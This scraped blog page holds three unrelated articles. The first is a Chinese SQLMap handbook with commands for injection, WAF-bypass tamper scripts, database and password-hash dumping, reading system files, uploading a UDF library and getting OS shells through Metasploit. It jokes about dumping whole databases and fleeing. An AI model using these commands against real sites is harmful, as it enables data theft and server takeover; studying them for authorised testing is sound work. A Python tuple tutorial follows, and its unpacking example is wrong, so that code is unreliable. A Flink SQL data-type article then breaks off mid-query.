分类
其它综合

SQLMAP深度解析及使用手册

0X00 背景

写这篇技术文有两个诱因,一是大菲兄弟@大菲哥和朋友从国外买了一篇二十美刀的XSS文章,做了翻译,自古XSS和sql注入是倚天屠龙的对立统一关系,所以有朋友说想看一看sql注入的文章。

二是大概一年前一朋友对sqlmap的使用除了-u参数几乎一无所知,让我给做了个使用手册,刚好拿出来在此基础上进行完善和优化。

我本人是owasp北京分会的负责人,owasp的top10几乎一直是sql注入独揽第一,所以也想就这个机会把sql注入好好给大家聊一聊,本文也参考了众多前辈的经验,在这里向每个奉献、开源的前辈说一声感谢。

有些朋友说想让聊聊手工注入,首先我个人手工注入技巧不是很好,再者手工注入需要一定的技术积累和编程底子,受众有限,后期有机会再深入谈。我个人在渗透上的看法是工具是人类进步的象征,工具的使用绝对是自动化、智能化和量化不可或缺的内容,当然,工具毕竟是死的,好的安全人肯定是左手自动化右手人工。

0X01 SqlMap介绍及分析

SQLMAP是一种开源渗透测试工具,可自动执行SQL注入缺陷的检测和开发过程,并接管数据库服务器。它有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令。,以及从数据库指纹识别、从数据库获取数据、访问底层文件的广泛范围的交换机通过带外连接在操作系统上执行命令.

sqlmap is anopen source penetration testing tool that automates the process of detectingand exploiting SQL injection flaws and taking over of database servers. Itcomes with a powerful detection engine, many niche features for the ultimatepenetration tester and a broad range of switches lasting from database fingerprinting,over data fetching from the database, to accessing the underlying file systemand executing commands on the operating system via out-of-band connections.(源于官方介绍)

SQLMAP支持的数据包括:MySQL, Oracle,PostgreSQL,Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库。

SQLMAP目前支持的注入方式包括(默认全进行):

l B: Boolean-based blind SQL injection(布尔型注入)

l E: Error-based SQL injection(报错型注入)

l U: UNION query SQL injection(可联合查询注入)

l S: Stacked queries SQL injection(可多语句查询注入)

l T: Time-based blind SQL injection(基于时间延迟注入)

l Q: Inline SQL Injection (内联注入)

SQLMAP 分析:

SQLMAP的功能模块参数由几大类构成(见下表),分别是:

Target:At least one of these options has to be provided to define the target(s) 目标:至少为目标提供一个选项 Request:These options can be used to specify how to connect to the target URL 请求:这些选项用于指定如何连接目标URL的方法 Optimization:These options can be used to optimize the performance of sqlmap 优化:这些选项用来优化sqlmap的性能 Injection:These options can be used to specify which parameters to test for, 注入:这些选项用于指定测试那些参数,提供注入payload和篡改脚本 Detection:These options can be used to customize the detection phase 侦测:这些选项用于侦测阶段的定制化 Techniques:These options can be used to tweak testing of specific SQL injection techniques 技巧:这些选项用于调整特定sql注入技术的技巧 Enumeration:These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements 枚举:这些选项可用于枚举后端数据库管理系统信息、表里的数据接口,此外还可以运行你的sql语句 Brute force:These options can be used to run brute force checks 暴力执行:这些选项用于暴力检查 User-defined function injection:These options can be used to create custom user-defined functions 用户定义注入函数:这些选项用于建立用户定义函数 File system access:These options can be used to access the back-end database management system underlying file system 访问文件系统:这些选项用于访问后端数据库管理系统的底层文件系统 Operating system access:These options can be used to access the back-end database management system underlying operating system 操作系统连接:这些选项用于连接后端DBMS底层的os Windows registry access:These options can be used to access the back-end database management system Windows registry windows 注册表连接:这些选项用于连接后端DBMS的windows 注册表 General: These options can be used to set some general working parameters 通用:这些选项用于设置一些通用参数

SQLMAP下载及学习地址:

下载:.tar.gz或者.zip

Homepage: http://sqlmap.org

CommitsRSS学习地址:

feed:https://github.com/sqlmapproject/sqlmap/commits/master.atom

Issue tracker:https://github.com/sqlmapproject/sqlmap/issues

User’s manual:https://github.com/sqlmapproject/sqlmap/wiki

(FAQ):https://github.com/sqlmapproject/sqlmap/wiki/FAQ

Twitter:

Demos:http://www.youtube.com/user/inquisb/videos

Screenshots:https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

0X02 Sqlmap使用经验总结

以下参数在进行SQL注入时配置恰当会使得注入攻击事半功倍。以下是笔者对SQLmap 使用的经验总结:

1 在使用-v参数的时候,尽量选择,3级别,次级别可以显示注入的参数。 例如:sqlmap -v3 -u www.potian.com 2 当一件知道数据库信息的时候,使用-d直接连接数据库,注意-D是指定目标库,要区分。

例如:-d mysql://POTIAN : 123123 @127.0.0.1:3306/ ORDER 3 当使用Burp或WebScarab保存了日志的时候,想从日志文件中筛选目标,可使用-I使用 绝对路径地址即可。 4 -g可以使用google的搜索结果,例如,直接搜索uid=,查找具有此参数的站点,直接使用sqlmap调用google结果,例:sqlmap -g inurl:php?uid=。(收集了一些语句,在附表)当需要使用-g inurl:php?uid=等参数时,默认无法访问,可使用此参数+海外代理方式使用此功能。当代理需要验证的时候,使用-cre指定身份信息,需要使用代理轮巡时,使用文件加载代理设置列表,使用代理轮询也可在对访问ip次数进行了验证的场景使用。(鉴于我国国情,不建议使用) 5服务端允许的情况下,–method改变默认的http方法,和其他参数配合使用,例如–data,改变为post然后推送数据。 6 默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/*.*-dev-xxxxxxx(http://sqlmap.org) 可以使用–user-agent参数来指定想使用的UA,同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入.另外UA是绕过waf的参数,–user-agent= –random-agent这两个参数可对waf针对恶意ua的防控进行绕过。 7 指定http请求中的header里的host参数、在请求中伪造referer,有些waf和安全产品等会对refer进行限制,仅允许本站referer,当waf参数对referer进行了限制后,可使用此参数进行绕过。当–level参数设定为3或者3以上的时候会尝试对referer注入指定其他的header信息,XFF等,例如strust2-045使用了Content-Type 8 HTTP代理身份验证凭据,可自动使用username:password和秘钥文件,例如有些访问会使用key文件,集团sso最爱出现此种场景,在这种身份验证凭据的需求中,也可使用-I参数使用burp等代理记录文件来使用身份凭据 9 设置http请求间隔时间,在绕过需求时使用,例如单ip单位时间访问多少次,可配合代理和多代理参数使用。超时连接后的尝试间隔,默认30s,可手动调整,一般–timeout和–retries配合使用 10有的网站会对提交的参数进行编码或加密,这时候需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。

例子:–eval=””import hashlib;hash=hashlib.md5(id).hexdigest()””上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。” 11 sqlmap默认测试所有的GET和POST参数,上文提到过,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值。这时候可以手动指定-p参数设置想要测试的参数。 例如:-p “”id,cookie””但是有个别参数不想测试的时候可以使用–skip=“user-agent”参数。 12 数值处理:参数:–invalid-bignum –invalid-logical这两个参数对报错数据、无效数据进行更改,例如默认报错UID=-20,可以通过制定以上参数制定无效的大数字和逻辑,比如uid=999999999和uid=20 and a=b

参数:–prefix,–suffix在注入的payload的前面或者后面加一些字符,来保证payload的正常执行,例如在语句中增加–prefix “”’)”” –suffix “”AND (’1’=’1″” 13 –tamper可从tamper库里查找相关内容,使用–tamper tamper/*.py方式指定 14 上文多次解释–level对测试参数的影响,一共有五个等级,默认为1,sqlmap使用的payload可以在payloads.xml中看到,你也可以根据相应的格式添加自己的payload内容,默认也有一些,可定制。

–level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值,建议最高级别,会更慢、测试参数更复杂。 15 risk从0-3共有四个风险等级,默认是1,risk1会测试大部分的测试语句,risk2会增加基于事件的测试语句,3会增加OR语句的注入测试。测试的语句同样可以在payloads.xml中找到,可以自行添加payload。

警告:当使用高级别时,可能会使用drop、update等高危语句对整表、整库造成影响,可能导致更新的整个表,可能造成很大的风险。 16 “sqlmap测试结果取决于返回内容,当页面在刷新或更新后,可能导致返回不同的内容,特别是页面有动态内容的情况下。为了避免误报,可指定字符串或者正则表达式来区分原始页面和报错页面(–string参数添加字符串,–regexp添加正则),也可以提供一段字符串在原始页面与true下的页面都不存在的字符串,而false页面中存在的字符串(–not-string添加)。

用户也可以提供true与false返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,–code=200。 17 默认sqlmap会把BEUSTQ六中注入方式全来一遍,可根据实际情况进行调整,例如可使用时间延迟,看网站响应时间来判断是否有注入,可根据报错判断注入。如果不是很懂,就不用管,虽然时间长点,但很全面。

B:Boolean-based blind SQL injection(布尔型注入)

E:Error-based SQL injection(报错型注入)

U:UNION query SQL injection(可联合查询注入)

S:Stacked queries SQL injection(可多语句查询注入)

T: Time-based blind SQL injection(基于时间延迟注入)

Q: Inline SQL Injection (内联注入)

当使用基于时间延迟注入的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒,可以根据环境记性调整,比如网络延迟很大,可适当增加延时时间 18 –union-cols设定的值为一段整数范围,制定区间,此数值默认为1-10,随着–levle增加,当为5的时候增加为50,当level级别和取值范围不匹配,在低级别需求更大的范围,可通过设定–union-cols的值来实现。设定union查询使用的字符,默认使用NULL,但是可能会返回失败,–union-char指定UNION查询的字符。指定查询的表,配合上文暴力破解的字符、范围等来详细使用。 19 在一旦注入成功且获得精确信息通过以下详细参数来指定检索、枚举动作和动作执行对象:检索DBMS的指纹特征、数据库、host值、用户身份、并对用户、密码、权限、角色进行枚举也就是爆破。然后尝试枚举数据库、数据库里的表、数据库里的内容、可以使用count来统计条目等操作。dump和dump-all就是脱裤和全脱的区别,dump某表的十条八条可能没事儿,dump-all注定要浪迹天涯,也就是所谓的从脱裤到跑路的开始,通过-D\-T\-C来制定索要枚举的库、表、和列,使用-X来排除不想要的列,特别是有多列且有无意义字段的时候,使用-X可大大节省时间。 –exclude-sysdbs参数,将不会获取数据库自带的系统库内容,可减少干扰内容,对-count的使用和枚举信息的使用建议搭配此参数来排除系统库。

当我们不想跑路的时候,那么请使用下面内容:

–start=LIMITSTART First query output entry to retrieve指定从第几行开始输出,如:

–start=1

–stop=LIMITSTOP

Last query output entry to retrieve

指定从第几行停止输出

–stop=10

–first=FIRSTCHAR

First query output word character to retrieve

指定从第几个字符开始输出

–first 1

–last=LASTCHAR

Last query output word character to retrieve

指定从第几个字符停止输出–last10 20 暴力检查:猜测检查常见的、通用的表名和列名,可通过下面两个文件进行定制化,暴力破解的表在txt/common-tables.txt文件中,暴力破解的列名在txt/common-columns.txt中 21 对文件系统、操作系统的交互和使用必须需要相应的权限,前面提到要求具有特定的函数执行特权,一般要求root。针对文件系统的读写:对–file-read配置绝对系统路径,可读取相应文件内容,可以是文本,也可以是二进制,条件是必须拥有相对应特权,已知的是mysql、postgresql和sqlserver。写入也是同样,往远端后台的DBMS里写入一个本地文件,可通过–file-dest指定绝对文件路径。” 当然和上面可以配合使用,当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。然后通过上面的文件系统管理上传一个库,使用可执行系统命令的sys_exec()和sys_eval(),甚至xp_cmdshell存储过程 –os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。 Meterpreter配合使用 –os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path配合Meterpreter使用,当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,四种方式执行它:

1.通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:–os-pwn。

2.通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:–os-pwn。

3.通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),–os-smbrelay。

4.通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:–os-bof。 22 所见即所得,注册表连接指的是windows系统,相信大家都有windows系统知识,不懂注册表基本就不懂windows系统,所有的windows系统配置在注册表里都可实现,比如开启远程连接、比如新建用户、比如组策略配置、比如防火墙等等,reg可对注册表内容进行读取、编辑、和删除,上面和下面相配合可实现对指定的key、value、data和类型进行操作。 23 –batch

在使用sqlmap时,有时一些响应需要用户交互,输入Y、N、skip、quit等,使用此选项可使用默认配置。

–output-dir=

指定输出路径,方式控制台输出过多,无法查看,也方便记录

–gpage=GOOGLEPAGE

好像默认是使用google搜索的前100个文件,当使用前面的-g参数,配合此参数指定页面

–identify-waf

进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别

–mobile

使用移动产品UA,把sqlmap伪装成手机,也可使用前面的

-user-agent

自己指定

–smart

智能深度启发式扫描,或许会有惊喜呢。

–wizard 和上面的完全不同,纯新手选择,一步步让你输入url等参数,基本输入个url就行。 0X03 Sqlmap实操语句

1 手工基本检测和判断(在注入点使用or、and等可判断是否有注入点) 原始网页:http://www.potian.com/mysql/product/user_info.php?uid=1 024

构造url1:http://www.potian.com/mysql/product/user_info.php?uid=1 024+AND+1=1

构造url2:http://www.potian.com/mysql/product/user_info.php?uid=1 024+AND+1=1 025 2 基础检测语法 sqlmap.py -u http://www.potian.com/mysql/product/user_info.php?uid=1 024 3 批量检测 “sqlmap.py -m target.txt”,注意target.txt跟sqlmap在同一个目录下。 4 绕过WAF进行SQL注入 (1)修改\sqlmap\tamper\halfversionedmorekeywords.py return match.group().replace(word, ”/*!0%s” % word) 为:return match.group().replace(word, ”/*!50000%s*/” % word)

(2)修改\sqlmap\xml\queries.xml <cast query= ”CAST(%s ASCHAR)”/>为:<castquery= ”convert(%s,CHAR)”/>

(3)使用sqlmap进行注入测试sqlmap.py -u ”http://www.potian.com/detail.php? id=16″ –tamper “halfversionedmorekeywords.py”

其它绕过waf脚本方法:sqlmap.py-u “ http://www.potian.com/mysql/product/user_info.php?uid=1 024” –tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

(4)tamper目录下文件具体含义:

space2comment.py

用/**/代替空格

apostrophemask.py

用utf8代替引号

equaltolike.pylike

代替等号

space2dash.py

绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)

greatest.py

绕过过滤’>’ ,用GREATEST替换大于号。

space2hash.py

空格替换为#号,随机字符串以及换行符

apostrophenullencode.py

绕过过滤双引号,替换字符和双引号。

halfversionedmorekeywords.py

当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2morehash.py

空格替换为#号

以及更多随机字符串

换行符

appendnullbyte.py

在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py

绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’ space2mssqlblank.py(mssql) 空格替换为其它空符号

base64encode.py

用base64编码替换

space2mssqlhash.py

替换空格

modsecurityversioned.py

过滤空格,包含完整的查询版本注释

space2mysqlblank.py

空格替换其它空白符号(mysql)

between.py

用between替换大于号(>)

space2mysqldash.py

替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py

围绕SQL关键字添加多个空格

space2plus.py

用+替换空格

bluecoat.py

代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like

nonrecursivereplacement.py

双重查询语句,取代SQL关键字

space2randomblank.py

代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py

追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

chardoubleencode.py

双url编码(不处理以编码的)

unionalltounion.py

替换UNION ALLSELECT UNION SELECT

charencode.py

url编码

randomcase.py

随机大小写

unmagicquotes.py

宽字符绕过

GPCaddslashes randomcomments.py

用/**/分割sql关键字

charunicodeencode.py

字符串unicode编码

securesphere.py

追加特制的字符串

versionedmorekeywords.py

注释绕过 space2comment.py

替换空格字符串(‘‘) 使用注释‘/**/’

halfversionedmorekeywords.py

关键字前加注释 5 URL重写SQL注入测试 value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。 sqlmap.py -u ” http://www.potian.com/param1/value1 */param2/value2/” 6 列举并破解密码哈希值 当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。 sqlmap.py -u ” http://www.potian.com/sqlmap/pgsql/get_int.php?id=1 ” –passwords -v1 7 获取表中的数据个数 sqlmap.py -u ” http://www.potian.com/sqlmap/mssql/iis/get_int.asp?id=1 ” –count -Dtestdb 8 站点爬取 sqlmap.py -u “ http://www.secbang.com “–batch –crawl=3 9 注入时间预估(基于布尔) sqlmap.py -u “ http://www.secbang.com/sqlmap/oracle/get_int_bool.php?id=1 “-b –eta 10 使用hex避免字符编码导致数据丢失 sqlmap.py -u “ http://www.secbang.com/pgsql/get_int.php?id=1 ” –banner –hex -v 3 –parse-errors 11 模拟测试手机环境站点 python sqlmap.py -u ” http://www.secbang.com/vuln.php?id=1 ” –mobile 12 智能判断测试 sqlmap.py -u “ http://www.secbang.com/info.php?id=1 “–batch –smart 13 结合burpsuite进行注入 sqlmap.py -r burpsuite 抓包.txt 14 sqlmap 自动填写表单注入 sqlmap.py -u URL –forms sqlmap.py -u URL –forms –dbs sqlmap.py -u URL –forms –current-db sqlmap.py -u URL –forms -D 数据库名称–tables sqlmap.py -u URL –forms -D 数据库名称 -T 表名 –columns sqlmap.py -u URL –forms -D 数据库名称 -T 表名 -Cusername,password –dump 15 读取linux下文件 sqlmap.py-u “url” –file /etc/password 16 sqlmap cookies 注入 sqlmap.py -u “ http://www.potian.com/mysql/product/user_info.php?uid=1 024“–cookies “ssuid=*″ –dbs –level 3 sqlmap.py -u 注入点URL –cookie”id=xx” –level 3 sqlmap.py -u url –cookie “id=xx”–level 3 –tables( 猜表名) sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 –coiumns sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 -C username,password –dump 17 连接mysql数据打开一个交互shell sqlmap.py -dmysql://potian:[email protected]:3306/sqlmap –sql-shell select @@version; select @@plugin_dir; 18 利用sqlmap上传lib_mysqludf_sys到MySQL插件目录 sqlmap.py -dmysql://potian:[email protected]:3306/sqlmap –file-write=d:/tmp/lib_mysqludf_sys.dll–file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll CREATE FUNCTION sys_exec RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ CREATE FUNCTION sys_eval RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ select sys_eval(‘ver’); 19 执行shell命令 sqlmap.py -u “url” –os-cmd=”netuser” /*执行net user命令*/ sqlmap.py -u “url” –os-shell /*系统交互的shell*/ 20 延时注入 sqlmap –dbs -u”url” –delay 0.5 /* 延时0.5秒*/ sqlmap –dbs -u”url” –safe-freq /* 请求2次*/

0X04 结束语

Sql注入并不只是对数据库的攻击行为,在整个攻击链条涉及到对操作系统、注册表、系统文件、脚本、插件控件、数据、数据库相关等的覆盖,注入用的好,爱人回家早。

仅以此文献给每一个奉献自己知识的朋友和前辈,以上是笔者从业十余年积累的一些经验写出来共享给大家,谢谢你对破天、对freebuf的关注。

see you.

*本文作者:破天·张坤,转载请注明来自FreeBuf.COM

分类
其它综合

【python 基础篇 六】python的常用数据类型操作——元组

1.元组的概念

  • 有序的不可变的元素集合
  • 和列表的区别就是,元组元素不能修改

2.元组的定义

  • 一个元素的写法
    • (666,) 此处加,原因是要区分括号的作用
  • 多个元素的写法
    • (1,2,3)
  • 多个对象,以逗号隔开,默认为元组
    • tuple = 1,2,3,"sz"
  • 从列表转换成元组
    • tuple(list)
  • 元组嵌套
    • 元组中的元素可以是元组 (1,2,("a","b"))

3.元组的常用操作

3.1 元组的查找操作

  • 获取单个元素
    • tuple[index]
      • index 为索引可以为负
  • 获取多个元素
    • tuple[start:end:step]
    • start 查询的开始位置
    • end 查询的结束位置
    • step 查询的步长
t1 = (1,2,3,4,5,6)
print(t1[2])#输出3
print(t1[-1])#输出6
print(t1[1:5:2])#输出(2, 4)
print(t1[::-1])#输出(6, 5, 4, 3, 2, 1)

3.2 元组的获取操作

  • tuple.count(item)
    • 统计元组中指定元素(item)的个数
  • tuple.index(item)
    • 获取元组中指定元素(item)的索引
  • len(tuple)
    • 统计元组中元素的个数
  • max(tuple)
    • 返回元组中元素最大的值
  • min(tuple)
    • 返回元组中元素最小的值
t1 = (1,2,3,4,5,6,'a',"a","abc")
#count
print(t1.count(1))#输出 1
print(t1.count("a"))#输出 2
print(t1.count(12))#输出 0

#index
print(t1.index(1))#输出 0
print(t1.index("a"))#输出 6
print(t1.index(12))#输出 报错 

#len
print(len(t1))#输出 9

#max
print(max(t1))#输出 报错 因为里面既有int 类型也要 string类型

#min
print(min(t1))#输出 报错 因为里面既有int 类型也要 string类型

3.3 元组的判断操作

  • 元素 in 元组
  • 元素 not in 元组
t1 = (1,2,3,4,5,6,'a',"a","abc")
print(1 in t1)#输出 True
print(5 not in t1)#输出 False
print('a' in t1)#输出 True

3.4 元组的比较操作

  • 比较运算符
    • == > <
t1 = (1,2,3,4,5,6,'a',"a","abc")
t2 = (5,2,6,4,8,2,)
print(t2 == t1)#输出 False
print(t2 > t1)#输出 True
print(t2 < t1)#输出 False

3.5 元组的拼接和拆包操作

拼接

  • 乘法
    • (元素1,元素2….) * int类型数值 = (元素1,元素2…. ,元素1,元素2…… , …..)
  • 加法
    • (元素1,元素2) + (元素3,元素4) = (元素1,元素2,元素3,元素4)
t1 = (1,2,3,4,5,6,'a',"a","abc")
t2 = (5,2,6,4,8,2,)
print(t2*2)#输出 (5, 2, 6, 4, 8, 2, 5, 2, 6, 4, 8, 2)
print(t1+t2)#输出 (1, 2, 3, 4, 5, 6, 'a', 'a', 'abc', 5, 2, 6, 4, 8, 2)

拆包

  • a ,b = (1,2)
  • a = 1 b = 2
a,b ,c= (10,20)
print(a)#输出 10
print(b)#输出 20
print(c)#输出 30

新人到场,求关注

分类
其它综合

Flink SQL 知其所以然(八)| SQL 数据类型大全

在介绍完一些基本概念之后,我们来认识一下,Flink SQL 中的数据类型。

Flink SQL 内置了很多常见的数据类型,并且也为用户提供了自定义数据类型的能力。

总共包含 3 部分:

  1. ? 原子数据类型
  2. ? 复合数据类型
  3. ? 用户自定义数据类型

1.原子数据类型

? 字符串类型:

  • ? CHAR、CHAR(n):定长字符串,就和 Java 中的 Char 一样,n 代表字符的定长,取值范围 [1, 2,147,483,647]。如果不指定 n,则默认为 1。
  • ? VARCHAR、VARCHAR(n)、STRING:可变长字符串,就和 Java 中的 String 一样,n 代表字符的最大长度,取值范围 [1, 2,147,483,647]。如果不指定 n,则默认为 1。STRING 等同于 VARCHAR(2147483647)。

? 二进制字符串类型:

  • ? BINARY、BINARY(n):定长二进制字符串,n 代表定长,取值范围 [1, 2,147,483,647]。如果不指定 n,则默认为 1。
  • ? VARBINARY、VARBINARY(n)、BYTES:可变长二进制字符串,n 代表字符的最大长度,取值范围 [1, 2,147,483,647]。如果不指定 n,则默认为 1。BYTES 等同于 VARBINARY(2147483647)。

? 精确数值类型:

  • ? DECIMAL、DECIMAL(p)、DECIMAL(p, s)、DEC、DEC(p)、DEC(p, s)、NUMERIC、NUMERIC(p)、NUMERIC(p, s):固定长度和精度的数值类型,就和 Java 中的 BigDecimal 一样,p 代表数值位数(长度),取值范围 [1, 38];s 代表小数点后的位数(精度),取值范围 [0, p]。如果不指定,p 默认为 10,s 默认为 0。
  • ? TINYINT:-128 到 127 的 1 字节大小的有符号整数,就和 Java 中的 byte 一样。
  • ? SMALLINT:-32,768 to 32,767 的 2 字节大小的有符号整数,就和 Java 中的 short 一样。
  • ? INT、INTEGER:-2,147,483,648 to 2,147,483,647 的 4 字节大小的有符号整数,就和 Java 中的 int 一样。
  • ? BIGINT:-9,223,372,036,854,775,808 to 9,223,372,036,854,775,807 的 8 字节大小的有符号整数,就和 Java 中的 long 一样。

? 有损精度数值类型:

  • ? FLOAT:4 字节大小的单精度浮点数值,就和 Java 中的 float 一样。
  • ? DOUBLE、DOUBLE PRECISION:8 字节大小的双精度浮点数值,就和 Java 中的 double 一样。
  • ? 关于 FLOAT 和 DOUBLE 的区别可见 https://www.runoob.com/w3cnote/float-and-double-different.html

? 布尔类型:BOOLEAN

? NULL 类型:NULL

? Raw 类型:RAW('class', 'snapshot') 。只会在数据发生网络传输时进行序列化,反序列化操作,可以保留其原始数据。以 Java 举例,class 参数代表具体对应的 Java 类型,snapshot 代表类型在发生网络传输时的序列化器

? 日期、时间类型:

  • ? DATE:由 年-月-日 组成的 不带时区含义 的日期类型,取值范围 [0000-01-01, 9999-12-31]
  • ? TIME、TIME(p):由 小时:分钟:秒[.小数秒] 组成的 不带时区含义 的的时间的数据类型,精度高达纳秒,取值范围 [00:00:00.000000000到23:59:59.9999999]。其中 p 代表小数秒的位数,取值范围 [0, 9],如果不指定 p,默认为 0。
  • ? TIMESTAMP、TIMESTAMP(p)、TIMESTAMP WITHOUT TIME ZONE、TIMESTAMP(p) WITHOUT TIME ZONE:由 年-月-日 小时:分钟:秒[.小数秒] 组成的 不带时区含义 的时间类型,取值范围 [0000-01-01 00:00:00.000000000, 9999-12-31 23:59:59.999999999]。其中 p 代表小数秒的位数,取值范围 [0, 9],如果不指定 p,默认为 6。
  • ? TIMESTAMP WITH TIME ZONE、TIMESTAMP(p) WITH TIME ZONE:由 年-月-日 小时:分钟:秒[.小数秒] 时区 组成的 带时区含义 的时间类型,取值范围 [0000-01-01 00:00:00.000000000 +14:59, 9999-12-31 23:59:59.999999999 -14:59]。其中 p 代表小数秒的位数,取值范围 [0, 9],如果不指定 p,默认为 6。
  • ? TIMESTAMP_LTZ、TIMESTAMP_LTZ(p):由 年-月-日 小时:分钟:秒[.小数秒] 时区 组成的 带时区含义 的时间类型,取值范围 [0000-01-01 00:00:00.000000000 +14:59, 9999-12-31 23:59:59.999999999 -14:59]。其中 p 代表小数秒的位数,取值范围 [0, 9],如果不指定 p,默认为 6。
  • ? TIMESTAMP_LTZ 与 TIMESTAMP WITH TIME ZONE 的区别在于:TIMESTAMP WITH TIME ZONE 的时区信息是携带在数据中的,举例:其输入数据应该是 2022-01-01 00:00:00.000000000 +08:00;TIMESTAMP_LTZ 的时区信息不是携带在数据中的,而是由 Flink SQL 任务的全局配置决定的,我们可以由 table.local-time-zone 参数来设置时区。
  • ? INTERVAL YEAR TO MONTH、 INTERVAL DAY TO SECOND:interval 的涉及到的种类比较多。INTERVAL 主要是用于给 TIMESTAMP、TIMESTAMP_LTZ 添加偏移量的。举例,比如给 TIMESTAMP 加、减几天、几个月、几年。INTERVAL 子句总共涉及到的语法种类如下 Flink SQL 案例所示。
CREATE TABLE sink_table (
    result_interval_year TIMESTAMP(3),
    result_interval_year_p TIMESTAMP(3),
    result_interval_year_p_to_month TIMESTAMP(3),
    result_interval_month TIMESTAMP(3),
    result_interval_day TIMESTAMP(3),
    result_interval_day_p1 TIMESTAMP(3),
    result_interval_day_p1_to_hour TIMESTAMP(3),
    result_interval_day_p1_to_minute TIMESTAMP(3),
    result_interval_day_p1_to_second_p2 TIMESTAMP(3),
    result_interval_hour TIMESTAMP(3),
    result_interval_hour_to_minute TIMESTAMP(3),
    result_interval_hour_to_second TIMESTAMP(3),
    result_interval_minute TIMESTAMP(3),
    result_interval_minute_to_second_p2 TIMESTAMP(3),
    result_interval_second TIMESTAMP(3),
    result_interval_second_p2 TIMESTAMP(3)
) WITH (
  'connector' = 'print'
);
INSERT INTO sink_table
SELECT
    -- Flink SQL 支持的所有 INTERVAL 子句如下,总体可以分为 `年-月`、`日-小时-秒` 两种

    -- 1. 年-月。取值范围为 [-9999-11, +9999-11],其中 p 是指有效位数,取值范围 [1, 4],默认值为 2。比如如果值为 1000,但是 p = 2,则会直接报错。
    -- INTERVAL YEAR
    f1 + INTERVAL '10' YEAR as result_interval_year
    -- INTERVAL YEAR(p)
    , f1 + INTERVAL '100' YEAR(3) as result_interval_year_p
    -- INTERVAL YEAR(p) TO MONTH
    , f1 + INTERVAL '10-03' YEAR(3) TO MONTH as result_interval_year_p_to_month
    -- INTERVAL MONTH
    , f1 + INTERVAL '13' MONTH as result_interval_month

    -- 2. 日-小时-秒。取值范围为 [-999999 23:59:59.999999999, +999999 23:59:59.999999999],其中 p1\p2 都是有效位数,p1 取值范围 [1, 6],默认值为 2;p2 取值范围 [0, 9],默认值为 6
    -- INTERVAL DAY
    , f1 + INTERVAL '10' DAY as result_interval_day
    -- INTERVAL DAY(p1)
    , f1 + INTERVAL '100' DAY(3) as result_interval_day_p1
    -- INTERVAL DAY(p1) TO HOUR
    , f1 + INTERVAL '10 03' DAY(3) TO HOUR as result_interval_day_p1_to_hour
    -- INTERVAL DAY(p1) TO MINUTE
    , f1 + INTERVAL '10 03:12' DAY(3) TO MINUTE as result_interval_day_p1_to_minute
    -- INTERVAL DAY(p1) TO SECOND(p2)
    , f1 + INTERVAL '10 00:00:00.004' DAY TO SECOND(3) as result_interval_day_p1_to_second_p2
    -- INTERVAL HOUR
    , f1 + INTERVAL '10' HOUR as result_interval_hour
    -- INTERVAL HOUR TO MINUTE
    , f1 + INTERVAL '10:03' HOUR TO MINUTE as result_interval_hour_to_minute
    -- INTERVAL HOUR TO SECOND(p2)
    , f1 + INTERVAL '00:00:00.004' HOUR TO SECOND(3) as result_interval_hour_to_second
    -- INTERVAL MINUTE
    , f1 + INTERVAL '10' MINUTE as result_interval_minute
    -- INTERVAL MINUTE TO SECOND(p2)
    , f1 + INTERVAL '05:05.006' MINUTE TO SECOND(3) as result_interval_minute_to_second_p2
    -- INTERVAL SECOND
    , f1 + INTERVAL '3' SECOND as result_interval_second
    -- INTERVAL SECOND(p2)
